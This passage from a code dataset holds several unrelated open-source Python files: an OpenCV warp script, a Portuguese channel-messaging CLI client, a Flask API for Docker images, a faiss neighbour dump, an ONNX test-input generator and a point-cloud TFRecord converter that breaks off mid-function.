cv2.getPerspectiveTransform(pts1,pts2)\n imgOut = cv2.warpPerspective(imgC,matix,(output_width,output_height))\n cv2.imshow('Result',imgOut) # Display the resultent Output\n\n # * Display the Image\n cv2.imshow(windowName,img)\n\n # * Exit Pole: press 'ESC' to exit\n if cv2.waitKey(1) & 0xFF == 27:\n break\n\n cv2.destroyAllWindows()\n\nif __name__ == \"__main__\":\n main()", "source": "SusovanGithub/SusovanGithub-OpenCV_projects", "license": "MIT"} {"text": "\nfrom constants import LOGOUT, CREATE_CHANNEL, SUBSCRIBE_CHANNEL, UNSUBSCRIBE_CHANNEL, SHOW_MY_SUBS, PUBLISH_CHANNEL, SHOW_MY_CHANNELS, SHOW_ALL_CHANNELS\nfrom constants import LOGIN, CREATE_ACCOUNT, DELETE_ACCOUNT, EXIT \nfrom constants import HOME_SCR, CREATE_ACCOUNT_SCR, DELETE_ACCOUNT_SCR, LOGIN_SCR, PRINCIPAL_MENU_SCR\nimport os\n\nclass ClientInterface:\n\n def __init__(self):\n self.currScreen = HOME_SCR #Define a atual tela que dever\u00e1 ser apresentada\n self.messages_queue = [] #Fila de mensagens .Ex: {'fabio_Junior19': [\"voc\u00ea:ola\", \"fabio_Junior19:ola\", \"fabio_Junior19:tudobom?\"]}\n self.responsesToPrint = [] #Fila de repostas do servidor que devem ser printadas no console\n self.MAX_MSGS_SHOW = 20 #N\u00famero m\u00e1ximo de mensagens trocadas entre os usu\u00e1rios que ser\u00e3o apresentadas na tela \n self.username = \"\" #Nome do usu\u00e1rio da aplica\u00e7\u00e3o em si\n self.notifications_queue = [] #Fila que armazena as notifica\u00e7\u00f5es\n self.notifications_queue_hist = [] #Fila que guarda o hist\u00f3rico de notifica\u00e7\u00f5es\n self.canClear = True #Flag para ativar ou desativar a limpeza da tela\n\n def homeScreen(self):\n \"\"\"\n Mostra no terminal a tela de home e l\u00ea os comandos digitados pelo usu\u00e1rio.\n :return os comandos digitados pelo usu\u00e1rio.\n \"\"\" \n self.currScreen = HOME_SCR\n\n if(self.notifications_queue):\n print(self.notifications_queue[len(self.notifications_queue) - 1])\n \n print('<========== Seja Bem-vindo ao Sistema de Canais ERT! ===========>\\n')\n print('<======================== HOME ========================>\\n')\n print(f'Digite \"{LOGIN}\" para login.')\n print(f'Digite \"{CREATE_ACCOUNT}\" para criar seu cadastro.')\n print(f'Digite \"{DELETE_ACCOUNT}\" para deletar o seu cadastro.')\n print(f'Digite \"{EXIT}\" para fechar a aplica\u00e7\u00e3o.\\n')\n print('<=========================================================>\\n')\n\n userInput = input()\n while (userInput not in [LOGIN, CREATE_ACCOUNT, DELETE_ACCOUNT, EXIT]):\n print('Comando incorreto. Digite um comando v\u00e1lido.')\n userInput = input()\n \n if(userInput == EXIT):\n print(\"Servi\u00e7o finalizado com sucesso.\")\n\n return (userInput, None)\n\n def authScreen(self):\n \"\"\"\n Mostra no terminal a tela de autentica\u00e7\u00e3o do usu\u00e1rio e l\u00ea as entradas digitados pelo usu\u00e1rio.\n :return as entradas digitados pelo usu\u00e1rio.\n \"\"\" \n self.currScreen = LOGIN_SCR\n\n print('<=====Fazendo o Login=====>')\n\n userName = input('Digite o usu\u00e1rio: ')\n userPassword = input('Digite a senha: ')\n while((not userName or userName.isspace()) and (not userPassword or userPassword.isspace())):\n userName = input('Digite o usu\u00e1rio: ')\n userPassword = input('Digite a senha: ')\n\n return userName, userPassword\n\n def createAccountScreen(self):\n \"\"\"\n Mostra no terminal a tela de cria\u00e7\u00e3o da conta do usu\u00e1rio e l\u00ea as entradas digitados pelo usu\u00e1rio.\n :return as entradas digitados pelo usu\u00e1rio.\n \"\"\" \n self.currScreen = CREATE_ACCOUNT_SCR\n\n print('<=====Criando Seu Perfil=====>\\n')\n \n userName = input('Digite o usu\u00e1rio: ')\n userPassword = input('Digite a senha: ')\n while((not userName or userName.isspace()) and (not userPassword or userPassword.isspace())):\n userName = input('Digite o usu\u00e1rio: ')\n userPassword = input('Digite a senha: ')\n\n return userName, userPassword\n\n def deleteAccountScreen(self):\n \"\"\"\n Mostra no terminal a tela de dele\u00e7\u00e3o das credenciais do usu\u00e1rio e l\u00ea as entradas digitados pelo usu\u00e1rio.\n :return as entradas digitados pelo usu\u00e1rio.\n \"\"\" \n self.currScreen = DELETE_ACCOUNT_SCR\n\n print('<=====Deletando o Perfil=====>')\n \n userName = input('Digite o usu\u00e1rio: ')\n userPassword = input('Digite a senha: ')\n while((not userName or userName.isspace()) and (not userPassword or userPassword.isspace())):\n userName = input('Digite o usu\u00e1rio: ')\n userPassword = input('Digite a senha: ')\n\n return userName, userPassword\n\n def readPrincipalMenuScreen(self):\n \"\"\"\n L\u00ea os comandos digitados pelo usu\u00e1rio na tela de menu principal.\n :return os comandos digitados pelo usu\u00e1rio.\n \"\"\" \n self.currScreen = PRINCIPAL_MENU_SCR\n\n userInput = input()\n\n while ((userInput not in [LOGOUT, SHOW_MY_SUBS, SHOW_MY_CHANNELS, SHOW_ALL_CHANNELS]) and\n (CREATE_CHANNEL + \":\" not in userInput) and (SUBSCRIBE_CHANNEL + \":\" not in userInput) and\n (UNSUBSCRIBE_CHANNEL + \":\" not in userInput) and (PUBLISH_CHANNEL + \":\" not in userInput or '<' not in userInput)):\n print('Comando incorreto. Digite um comando v\u00e1lido.')\n userInput = input()\n\n result = None\n infos = userInput.split(':')\n \n if(infos[0] in PUBLISH_CHANNEL):\n cmd = infos[0]\n channelName, msg = infos[1].split('<')\n result = (cmd, (channelName, msg))\n elif(infos[0] in [CREATE_CHANNEL, SUBSCRIBE_CHANNEL, UNSUBSCRIBE_CHANNEL]):\n cmd = infos[0]\n channelName = infos[1]\n result = (cmd, channelName)\n else:\n cmd = infos[0]\n result = (cmd, None)\n \n return result\n\n def printPrincipalMenuScreen(self):\n \"\"\"\n Mostra no terminal a tela de menu principal. Caso o usu\u00e1rio digite o comando para mostrar as notifica\u00e7\u00f5es, este m\u00e9todo tamb\u00e9m \u00e9 respons\u00e1vel por mostr\u00e1-las.\n \"\"\" \n \n if(self.canClear):\n clear = lambda: os.system('clear')\n clear()\n\n self.currScreen = PRINCIPAL_MENU_SCR\n\n if(self.notifications_queue):\n print(self.notifications_queue[len(self.notifications_queue) - 1])\n\n print('<==================== MENU PRINCIPAL ====================>\\n')\n print(f'Logado como \"{self.username}\"')\n print(f'Digite \"{SHOW_ALL_CHANNELS}\" para visualizar todos os canais existentes.')\n print(f'Digite \"{SHOW_MY_CHANNELS}\" para visualizar todos os canais que voc\u00ea \u00e9 propriet\u00e1rio.')\n print(f'Digite \"{SHOW_MY_SUBS}\" para visualizar todos os canais em que voc\u00ea est\u00e1 inscrito.')\n print(f'Digite \"{CREATE_CHANNEL}:\" para criar um canal.')\n print(f'Digite \"{SUBSCRIBE_CHANNEL}:\" para se inscrever em um canal')\n print(f'Digite \"{UNSUBSCRIBE_CHANNEL}:\" para se desinscrever em um canal')\n print(f'Digite \"{PUBLISH_CHANNEL}: < \" para publicar uma mensagem')\n\n print(f'Digite \"{LOGOUT}\" para se deslogar da sua conta.\\n')\n print('<=========================================================>\\n') \n\n if(self.responsesToPrint):\n print('<================Informa\u00e7\u00f5es==============================>\\n') \n print(self.responsesToPrint[-1])\n\n messagesToPrint = self.messages_queue[-self.MAX_MSGS_SHOW:]\n if(messagesToPrint):\n print('<================Mensagens dos Canais=====================>\\n')\n for msg in messagesToPrint:\n print(msg)\n \n def handlerResponse(self, response):\n \"\"\"\n Respons\u00e1vel por tratar as respostas vindas do back e ajustar a interface caso necess\u00e1rio\n :param response: Cont\u00e9m a resposta do back. Podendo ser uma resposta vinda do servidor\n \"\"\" \n if(response['method'] == 'createAccount'):\n if(response['status'] == 'success'):\n self.notification(CREATE_ACCOUNT_SCR, \"Conta criada com sucesso.\")\n else:\n self.notification(CREATE_ACCOUNT_SCR, \"Houve um problema. N\u00e3o foi poss\u00edvel criar a conta. Tente novamente.\")\n \n elif(response['method'] == 'deleteAccount'):\n if(response['status'] == 'success'):\n self.notification(DELETE_ACCOUNT_SCR, \"Conta deletada com sucesso.\")\n else:\n self.notification(DELETE_ACCOUNT_SCR, \"Houve um problema. N\u00e3o foi poss\u00edvel deletar a conta. Tente novamente.\")\n\n elif(response['method'] == 'authAccount'):\n if(response['status'] == 'success'):\n self.notification(LOGIN_SCR, \"Logado com sucesso.\")\n else:\n if(response['data']['message'] == 'Voc\u00ea j\u00e1 est\u00e1 logado em outra sess\u00e3o'):\n self.notification(HOME_SCR, \"Voc\u00ea j\u00e1 est\u00e1 logado em outra sess\u00e3o. Caso n\u00e3o seja voc\u00ea, entre em contato com o admin do servidor.\")\n else:\n self.notification(HOME_SCR, \"Houve um problema. N\u00e3o foi poss\u00edvel logar na conta. Tente novamente.\")\n\n elif(response['method'] == 'logout'):\n if(response['status'] == 'success'):\n self.notification(HOME_SCR, response['data']['message'])\n else:\n self.notification(PRINCIPAL_MENU_SCR, \"Houve um problema. N\u00e3o foi poss\u00edvel deslogar da conta. Tente novamente.\")\n \n elif(response['method'] == 'publishChannel'):\n if(response['status'] == 'success'):\n self.notification(PRINCIPAL_MENU_SCR, \"Mensagem enviada com sucesso.\")\n else:\n self.notification(PRINCIPAL_MENU_SCR, \"Houve um problema. N\u00e3o foi poss\u00edvel publicar a mensagem. Tente novamente.\")\n\n elif(response['method'] == 'subscribeChannel'):\n if(response['status'] == 'success'):\n self.notification(PRINCIPAL_MENU_SCR, \"Inscri\u00e7\u00e3o realizada com sucesso.\")\n else:\n self.notification(PRINCIPAL_MENU_SCR, \"Houve um problema. N\u00e3o foi poss\u00edvel se inscrever no canal. Tente novamente.\")\n\n elif(response['method'] == 'unsubscribeChannel'):\n if(response['status'] == 'success'):\n self.notification(PRINCIPAL_MENU_SCR, \"Desinscri\u00e7\u00e3o realizada com sucesso.\")\n else:\n self.notification(PRINCIPAL_MENU_SCR, \"Houve um problema. N\u00e3o foi poss\u00edvel se desinscrever do canal. Tente novamente.\")\n\n elif(response['method'] == 'showMySubscriptions'):\n if(response['status'] == 'success'):\n self.notification(PRINCIPAL_MENU_SCR, \"Subinscri\u00e7\u00f5es retornadas sucesso.\")\n else:\n self.notification(PRINCIPAL_MENU_SCR, \"Houve um problema. N\u00e3o foi poss\u00edvel visualizar os canais subscritos. Tente novamente.\")\n \n elif(response['method'] == 'showMyOwnChannels'):\n if(response['status'] == 'success'):\n self.notification(PRINCIPAL_MENU_SCR, \"Seus canais foram retornados com sucesso.\")\n else:\n self.notification(PRINCIPAL_MENU_SCR, \"Houve um problema. N\u00e3o foi poss\u00edvel visualizar os pr\u00f3prios canais criados. Tente novamente.\")\n\n elif(response['method'] == 'showAllChannels'):\n if(response['status'] == 'success'):\n self.notification(PRINCIPAL_MENU_SCR, \"Todos os canais foram retornados foram retornados com sucesso.\")\n else:\n self.notification(PRINCIPAL_MENU_SCR, \"Houve um problema. N\u00e3o foi poss\u00edvel visualizar todos os canais existentes. Tente novamente.\")\n\n elif(response['method'] == 'createChannel'):\n if(response['status'] == 'success'):\n self.notification(PRINCIPAL_MENU_SCR, \"Canal foi criado com sucesso.\")\n else:\n self.notification(PRINCIPAL_MENU_SCR, \"Houve um problema. N\u00e3o foi poss\u00edvel criar o canal. Tente novamente.\")\n \n def redirectScreen(self):\n \"\"\"\n Redireciona de fato para a pr\u00f3xima tela a ser mostrada, informa\u00e7\u00e3o j\u00e1 contida na vari\u00e1vel currScreen.\n \"\"\" \n if(self.currScreen == HOME_SCR):\n userInput = self.homeScreen()\n\n elif(self.currScreen == CREATE_ACCOUNT_SCR):\n userInput = self.createAccountScreen()\n\n elif(self.currScreen == DELETE_ACCOUNT_SCR):\n userInput = self.deleteAccountScreen()\n\n elif(self.currScreen == LOGIN_SCR):\n userInput = self.authScreen()\n \n elif(self.currScreen == PRINCIPAL_MENU_SCR):\n self.printPrincipalMenuScreen()\n userInput = self.readPrincipalMenuScreen()\n else:\n userInput = self.homeScreen()\n\n return userInput\n\n def setNextScreen(self, screen):\n \"\"\"\n Respons\u00e1vel por definir o atributo currScreen com a nova tela que ser\u00e1 apresentada\n :param screen: nome da tela que ser\u00e1 apresentada\n \"\"\" \n if(screen == HOME_SCR):\n self.currScreen = HOME_SCR\n\n elif(screen == CREATE_ACCOUNT_SCR):\n self.currScreen = HOME_SCR\n\n elif(screen == DELETE_ACCOUNT_SCR):\n self.currScreen = HOME_SCR\n\n elif(screen == LOGIN_SCR):\n self.currScreen = PRINCIPAL_MENU_SCR\n\n elif(screen == PRINCIPAL_MENU_SCR):\n self.currScreen = PRINCIPAL_MENU_SCR\n\n else:\n self.currScreen = HOME_SCR\n\n def notification(self, screen, message, add = True):\n \"\"\"\n \u00c9 respons\u00e1vel por chamar o m\u00e9todo que ir\u00e1 setar qual \u00e9 a pr\u00f3xima tela.\n :param screen: tela a ser redirecionada\n :param message: mensagem a ser notificada na tela\n :param add: indica se a mensagem deve ser guardada na vari\u00e1vel de hist\u00f3rico de notifica\u00e7\u00f5es ou n\u00e3o\n \"\"\" \n if(self.canClear):\n clear = lambda: os.system('clear')\n clear()\n \n self.notifications_queue.append(\">>>> \" + message + \"\\n\")\n if(add):\n self.notifications_queue_hist.append(\">>>> \" + message + \"\\n\")\n\n self.setNextScreen(screen)\n\n \nif __name__ == '__main__':\n pass\n #teste = ClientInterface()\n #teste.home()", "source": "Eduardodsb/Sistemas-Distribuidos", "license": "MIT"} {"text": "# rest-api mittels Flask\n# Verwaltung von docker images\n# ToDo:\n# [/] Auflistung verf\u00fcgbarer apps/images\n# [ ] Konfigurieren / erstellen / Dockerfile\n# [ ] Einschalten\n# [ ] Pausieren / commiten / weiterfahren\n# [ ] Killen\n# [ ] Connect\n# [ ] Disconnect\n\n# get - holen\n# post - erstellen\n# put - aktualisieren\n# delete - l\u00f6schen\n\n\nfrom flask import Flask\nfrom flask_restful import Resource, Api, reqparse\nimport werkzeug\nimport docker\nimport base64\nimport os\n\n\n# Globals\napp = Flask(__name__)\napi = Api(app)\ndocker = docker.from_env()\n\n\nclass util():\n def getImage(image):\n return {\n \"name\" : image.tags[0].split(\":\")[0],\n \"id\" : image.short_id,\n \"comment\" : image.attrs[\"Comment\"],\n \"created\" : image.attrs[\"Created\"],\n \"parent\" : image.attrs[\"Parent\"],\n \"labels\" : image.labels\n }\n\n\nclass appList(Resource):\n def get(self):\n response = []\n for image in docker.images.list():\n response.append(util.getImage(image))\n\n return response\n\n def post(self):\n response = []\n parser = reqparse.RequestParser()\n parser.add_argument(\"name\", type=str, required=True, help=\"gebe den Name der App an\")\n parser.add_argument(\"dockerfile\", type=str, required=True, help=\"es fehlt das Dockerfile enkodiert in Base64\")\n parser.add_argument(\"installfile\", type=werkzeug.datastructures.FileStorage, location=\"files\")\n args = parser.parse_args()\n # App-Pfad erstellen\n path = f\"/home/remote/remote/{args[\"name\"]}\"\n os.makedirs(path, exist_ok=True)\n # Dockerfile aus Base64 dekodieren und in Datei schreiben\n dockerfile = open(f\"{path}/Dockerfile\", \"w+\")\n dockerfile.write(base64.decodestring(args[\"dockerfile\"]))\n dockerfile.close()\n # Optionale Installationsdateien abspeichern\n if \"installfile\" in args:\n installfile = args[\"installfile\"]\n installfile.save(f\"{path}/installfile.zip\")\n\n return args\n\n\nclass appEntity(Resource):\n def get(self, name):\n try:\n image = docker.images.get(name)\n return util.getImage(image)\n except:\n return f\"App '{name}' nicht gefunden.\", 404\n\n\napi.add_resource(appList, \"/apps\")\napi.add_resource(appEntity, \"/apps/\")\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n", "source": "NikLeberg/remote", "license": "MIT"} {"text": "import glob\nimport random\nimport gzip\nimport tqdm\nimport sys\nimport pickle\nimport numpy\nimport traceback\n\ndef open_possibly_gz_file(f_or_name):\n if f_or_name is None:\n return None\n elif isinstance(f_or_name,str): #a file name of some sort\n if f_or_name.endswith(\".gz\"):\n return gzip.open(f_or_name,\"rt\")\n elif os.path.exists(f_or_name):\n return open(f_or_name)\n elif os.path.exists(f_or_name+\".gz\"):\n return gzip.open(f_or_name+\".gz\",\"rt\")\n else:\n raise ValueError(f\"No such file {f_or_name}, neither plain nor zipped\")\n else:\n return f_or_name\n\ndef yield_batches(fnames):\n for fname in fnames:\n with open(fname,\"rb\") as f:\n while True:\n try:\n _,W,I=pickle.load(f)\n yield W,I\n except EOFError:\n break\n\n\nif __name__==\"__main__\":\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--sentencefiles\",nargs=\"+\",help=\"Files with the sentences in the same order as in the index. Can be (and probably is) gz files\")\n parser.add_argument(\"--nnfiles\",nargs=\"+\",default=None,help=\"The nearest neighbor matrices in pickle files produced by faiss_query_all_by_all\")\n parser.add_argument(\"--outfile\",default=None,help=\"outfile.gz\")\n args = parser.parse_args()\n\n #Read all texts first\n all_sents=[]\n for fname in tqdm.tqdm(args.sentencefiles):\n f=open_possibly_gz_file(fname)\n all_sents.extend((l.strip().encode(\"utf-8\") for l in f if l.strip()))\n f.close()\n print(f\"Read {len(all_sents)} sentences\",file=sys.stderr,flush=True)\n \n pbar=tqdm.tqdm(total=len(all_sents))\n with gzip.open(args.outfile,\"wt\") as fout:\n glob_index=0 #index into row, across all batches, so I can index the sentences\n for W,I in yield_batches(args.nnfiles):\n for idx,weights,neighbors in zip(range(glob_index,glob_index+len(W)),W,I):\n print(f\"> {all_sents[idx].decode('utf-8')}\",file=fout)\n for nn_w,nn_idx in zip(weights[1:],neighbors[1:]): #0 is the sentence itself\n if nn_idx>=len(all_sents):\n continue\n print(f\" {nn_w} {all_sents[nn_idx].decode('utf-8')}\",file=fout)\n pbar.update(1)\n glob_index+=len(W)\n", "source": "fginter/faiss_distractors", "license": "Apache-2.0"} {"text": "# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License.\n\nimport argparse\nimport os\nimport sys\nimport json\nimport numpy as np\n\nTHIS_DIR = os.path.dirname(__file__)\nsys.path.append(os.path.join(THIS_DIR, os.pardir))\n\nfrom confonnx.get_model_info import get_model_info\n\ndef create_test_inputs(model_info):\n input_info = model_info['inputs']\n inputs = {}\n for name, info in input_info.items():\n shape = info['shape']\n shape = [s if isinstance(s, int) else 1 for s in shape]\n dtype = info['type']\n if dtype.startswith('float'):\n val = np.random.random_sample(shape)\n else:\n dtinfo = np.iinfo(dtype)\n val = np.random.randint(low=dtinfo.min, high=dtinfo.max, size=shape) \n inputs[name] = {'type': dtype, 'values': val.tolist()}\n return inputs\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--model', help='Path to ONNX model', required=True)\n parser.add_argument('--out', help='Path to randomly generated inference input data in JSON format',\n required=True)\n args = parser.parse_args()\n\n if not os.path.exists(args.model):\n parser.error('model file does not exist')\n \n model_info = get_model_info(args.model)\n data = create_test_inputs(model_info)\n \n if args.out:\n with open(args.out, 'w') as f:\n json.dump(data, f)\n print(f'Data written to {args.out}')\n", "source": "kapilvgit/onnx-server-openenclave", "license": "MIT"} {"text": "import pickle\nimport tensorflow as tf\nimport numpy as np\n\nNUM_HEADING_BIN = 12\nNUM_OBJECT_POINT = 512\nNUM_SIZE_CLUSTER = 8\n\ng_type2class = {'car': 0, 'Van': 1, 'Truck': 2, 'pedestrian': 3,\n 'Person_sitting': 4, 'bicycle': 5, 'Tram': 6, 'Misc': 7}\ng_class2type = {g_type2class[t]: t for t in g_type2class}\ng_type2onehotclass = {'car': 0, 'pedestrian': 1, 'bicycle': 2}\ng_type_mean_size = {'car': np.array([4.76, 1.93, 1.72]),\n 'Van': np.array([5.06763659, 1.9007158, 2.20532825]),\n 'Truck': np.array([10.13586957, 2.58549199, 3.2520595]),\n 'pedestrian': np.array([0.81, 0.77, 1.78]),\n 'Person_sitting': np.array([0.80057803, 0.5983815, 1.27450867]),\n 'bicycle': np.array([1.76, 0.63, 1.44]),\n 'Tram': np.array([16.17150617, 2.53246914, 3.53079012]),\n 'Misc': np.array([3.64300781, 1.54298177, 1.92320313])}\ng_mean_size_arr = np.zeros((NUM_SIZE_CLUSTER, 3)) # size clustrs\n\nfor i in range(NUM_SIZE_CLUSTER):\n g_mean_size_arr[i, :] = g_type_mean_size[g_class2type[i]]\n\n\ndef int64_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\n\ndef int64_list_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=value))\n\n\n# def bytes_feature(value):\n# return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n\ndef bytes_feature(value):\n \"\"\"Returns a bytes_list from a string / byte.\"\"\"\n if isinstance(value, type(tf.constant(0))):\n value = value.numpy() # BytesList won't unpack a string from an EagerTensor.\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n\ndef bytes_list_feature(value):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=value))\n\n\ndef float_list_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\n\n\ndef float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\n\n\ndef rotate_pc_along_y(pc, rot_angle):\n '''\n Input:\n pc: numpy array (N,C), first 3 channels are XYZ\n z is facing forward, x is left ward, y is downward\n rot_angle: rad scalar\n Output:\n pc: updated pc with XYZ rotated\n '''\n cosval = np.cos(rot_angle)\n sinval = np.sin(rot_angle)\n rotmat = np.array([[cosval, -sinval], [sinval, cosval]])\n pc[:, [0, 2]] = np.dot(pc[:, [0, 2]], np.transpose(rotmat))\n return pc\n\n\ndef angle2class(angle, num_class):\n ''' Convert continuous angle to discrete class and residual.\n\n Input:\n angle: rad scalar, from 0-2pi (or -pi~pi), class center at\n 0, 1*(2pi/N), 2*(2pi/N) ... (N-1)*(2pi/N)\n num_class: int scalar, number of classes N\n Output:\n class_id, int, among 0,1,...,N-1\n residual_angle: float, a number such that\n class*(2pi/N) + residual_angle = angle\n '''\n angle = angle % (2 * np.pi)\n assert (0 <= angle <= 2 * np.pi)\n angle_per_class = 2 * np.pi / float(num_class)\n shifted_angle = (angle + angle_per_class / 2) % (2 * np.pi)\n class_id = int(shifted_angle / angle_per_class)\n residual_angle = shifted_angle - \\\n (class_id * angle_per_class + angle_per_class / 2)\n return class_id, residual_angle\n\n\ndef class2angle(pred_cls, residual, num_class, to_label_format=True):\n ''' Inverse function to angle2class.\n If to_label_format, adjust angle to the range as in labels.\n '''\n angle_per_class = 2 * np.pi / float(num_class)\n angle_center = pred_cls * angle_per_class\n angle = angle_center + residual\n if to_label_format and angle > np.pi:\n angle = angle - 2 * np.pi\n return angle\n\n\ndef size2class(size, type_name):\n \"\"\" Convert 3D bounding box size to template class and residuals.\n todo (rqi): support multiple size clusters per type.\n\n Input:\n size: numpy array of shape (3,) for (l,w,h)\n type_name: string\n Output:\n size_class: int scalar\n size_residual: numpy array of shape (3,)\n \"\"\"\n size_class = g_type2class[type_name]\n size_residual = size - g_type_mean_size[type_name]\n return size_class, size_residual\n\n\ndef class2size(pred_cls, residual):\n ''' Inverse function to size2class. '''\n mean_size = g_type_mean_size[g_class2type[pred_cls]]\n return mean_size + residual\n\n\nclass tfrecGen_test(object):\n \"\"\"Convert the pickle file generated during frustum extraction into tensorflow recond file\n inputs:\n pickle_path: Path to the test pickle file\n tfrec_path: Path to save the tensorflow record file\"\"\"\n\n def __init__(self, pickle_path):\n self.npoints = 1024\n self.random_flip = True\n self.random_shift = True\n self.rotate_to_center = True\n self.one_hot = True\n self.from_rgb_detection = False\n self.g_type2onehotclass = {'car': 0, 'pedestrian': 1, 'bicycle': 2}\n with open(pickle_path, 'rb') as fp:\n self.id_list = pickle.load(fp, encoding='latin1')\n self.box2d_list = pickle.load(fp, encoding='latin1')\n self.input_list = pickle.load(fp, encoding='latin1')\n self.type_list = pickle.load(fp, encoding='latin1')\n # frustum_angle is clockwise angle from positive x-axis\n self.frustum_angle_list = pickle.load(fp, encoding='latin1')\n self.prob_list = pickle.load(fp, encoding='latin1')\n\n def get_center_view_rot_angle(self, index):\n \"\"\" Get the frustum rotation angle, it isshifted by pi/2 so that it\n can be directly used to adjust GT heading angle \"\"\"\n return np.pi / 2.0 + self.frustum_angle_list[index]\n\n def get_center_view_point_set(self, index):\n \"\"\" Frustum rotation of point clouds.\n NxC points with first 3 channels as XYZ\n z is facing forward, x is left ward, y is downward\n \"\"\"\n # Use np.copy to avoid corrupting original data\n point_set = np.copy(self.input_list[index])\n return rotate_pc_along_y(point_set, self.get_center_view_rot_angle(index))\n\n def feature_extraction(self, index):\n \"\"\" Get index-th element from the picked file dataset. \"\"\"\n # ------------------------------ INPUTS ----------------------------\n self.class_list = []\n for i in range(len(self.type_list)):\n self.class_list.append(self.g_type2onehotclass[self.type_list[i]])\n rot_angle = self.get_center_view_rot_angle(index)\n scene_id = self.id_list[index]\n box_2D = self.box2d_list[index]\n cls_index = self.class_list[index]\n print(cls_index)\n\n # Compute one hot vector\n if self.one_hot:\n cls_type = self.type_list[index]\n assert (cls_type in ['car', 'pedestrian', 'bicycle'])\n one_hot_vec = np.zeros(3, dtype=int)\n one_hot_vec[self.g_type2onehotclass[cls_type]] = 1\n\n if self.rotate_to_center:\n point_set = self.get_center_view_point_set(index)\n else:\n point_set = self.input_list[index]\n\n # Resample\n if point_set.shape[0] < self.npoints:\n choice = np.random.choice(point_set.shape[0], self.npoints, replace=True)\n else:\n choice = np.random.choice(point_set.shape[0], self.npoints, replace=False)\n\n point_set = point_set[choice, :3]\n\n if self.one_hot:\n return point_set, rot_angle, self.prob_list[index], one_hot_vec, cls_index, scene_id, box_2D\n else:\n return point_set, rot_angle, self.prob_list[index]\n\n def serialize_example(self, point_set, rot_angle, prob_value, one_hot_vec, cls_index, scene_id, box_2D):\n feature = {'frustum_point_cloud': float_list_feature(point_set.ravel()),\n 'rot_angle': float_feature(rot_angle),\n 'one_hot_vec': int64_list_feature(one_hot_vec),\n 'prob': float_feature(prob_value),\n 'type_name': int64_feature(cls_index),\n 'sample_token': bytes_feature(scene_id.encode('utf-8')),\n 'box_2d': float_list_feature(box_2D.ravel())}\n example_proto = tf.train.Example(features=tf.train.Features(feature=feature))\n return example_proto\n\n def write_tfrec(self, tfrec_name):\n with tf.io.TFRecordWriter(tfrec_name) as tfrw:\n for i in range(len(self.id_list)):\n point_set, rot_angle, prob, one_hot_vec, cls_index, scene_id, box_2D = self.feature_extraction(i)\n tfexample = self.serialize_example(point_set, rot_angle, prob, one_hot_vec, cls_index, scene_id, box_2D)\n tfrw.write(tfexample.SerializeToString())\n\n\nclass tfrec_Gen_Train_Val(object):\n def __init__(self, pickle_path):\n self.npoints = 1024\n self.random_flip = True\n self.random_shift = True\n self.rotate_to_center = True\n self.one_hot = True\n self.from_rgb_detection = False\n with open(pickle_path, 'rb') as fp:\n self.id_list = pickle.load(fp, encoding='latin1')\n self.box2d_list = pickle.load(fp, encoding='latin1')\n self.box3d_list = pickle.load(fp, encoding='latin1')\n self.input_list = pickle.load(fp, encoding='latin1')\n self.label_list = pickle.load(fp, encoding='latin1')\n self.type_list = pickle.load(fp, encoding='latin1')\n self.heading_list = pickle.load(fp, encoding='latin1')\n self.size_list = pickle.load(fp, encoding='latin1')\n # frustum_angle is clockwise angle from positive x-axis\n self.frustum_angle_list = pickle.load(fp, encoding='latin1')\n print(len(self.id_list))\n\n def get_box3d_center(self, index):\n \"\"\" Get the center (XYZ) of 3D bounding box. \"\"\"\n box3d_center = (self.box3d_list[index][0, :] + self.box3d_list[index][6, :]) / 2.0\n return box3d_center\n\n def get_center_view_box3d_center(self, index):\n \"\"\" Frustum rotation of 3D bounding box center. \"\"\"\n box3d_center = (self.box3d_list[index][0, :] +\n self.box3d_list[index][6, :]) / 2.0\n return rotate_pc_along_y(np.expand_dims(box3d_center, 0),\n self.get_center_view_rot_angle(index)).squeeze()\n\n def get_center_view_box3d(self, index):\n \"\"\" Frustum rotation of 3D bounding box corners. \"\"\"\n box3d = self.box3d_list[index]\n box3d_center_view = np.copy(box3d)\n return rotate_pc_along_y(box3d_center_view, self.get_center_view_rot_angle(index))\n\n def get_center_view_point_set(self, index):\n \"\"\" Frustum rotation of point clouds.\n NxC points with first 3 channels as XYZ\n z is facing forward, x is left ward, y is downward\n \"\"\"\n # Use np.copy to avoid corrupting original data\n point_set = np.copy(self.input_list[index])\n return rotate_pc_along_y(point_set, self.get_center_view_rot_angle(index))\n\n def get_center_view_rot_angle(self, index):\n \"\"\" Get the frustum rotation angle, it isshifted by pi/2 so that it\n can be directly used to adjust GT heading angle \"\"\"\n return np.pi / 2.0 + self.frustum_angle_list[index]\n\n def feature_extraction(self, index):\n \"\"\" Get index-th element from the picked file dataset. \"\"\"\n # ------------------------------ INPUTS ----------------------------\n rot_angle = self.get_center_view_rot_angle(index)\n\n # Compute one hot vector\n if self.one_hot:\n cls_type = self.type_list[index]\n assert (cls_type in ['car', 'pedestrian', 'bicycle'])\n one_hot_vec = np.zeros(3, dtype=int)\n one_hot_vec[g_type2onehotclass[cls_type]] = 1\n\n # Get point cloud\n if self.rotate_to_center:\n point_set = self.get_center_view_point_set(index)\n else:\n point_set = self.input_list[index]\n\n # Resample\n if point_set.shape[0] < self.npoints:\n choice = np.random.choice(point_set.shape[0], self.npoints, replace=True)\n else:\n choice = np.random.choice(point_set.shape[0], self.npoints, replace=False)\n\n point_set = point_set[choice, :3]\n\n # ------------------------------ LABELS ----------------------------\n seg = self.label_list[index]\n seg = seg[choice]\n\n # Get center point of 3D box\n if self.rotate_to_center:\n box3d_center = self.get_center_view_box3d_center(index)\n else:\n box3d_center = self.get_box3d_center(index)\n\n # Heading\n if self.rotate_to_center:\n heading_angle = self.heading_list[index] - rot_angle\n else:\n heading_angle = self.heading_list[index]\n\n # Size\n size_class, size_residual = size2class(self.size_list[index], 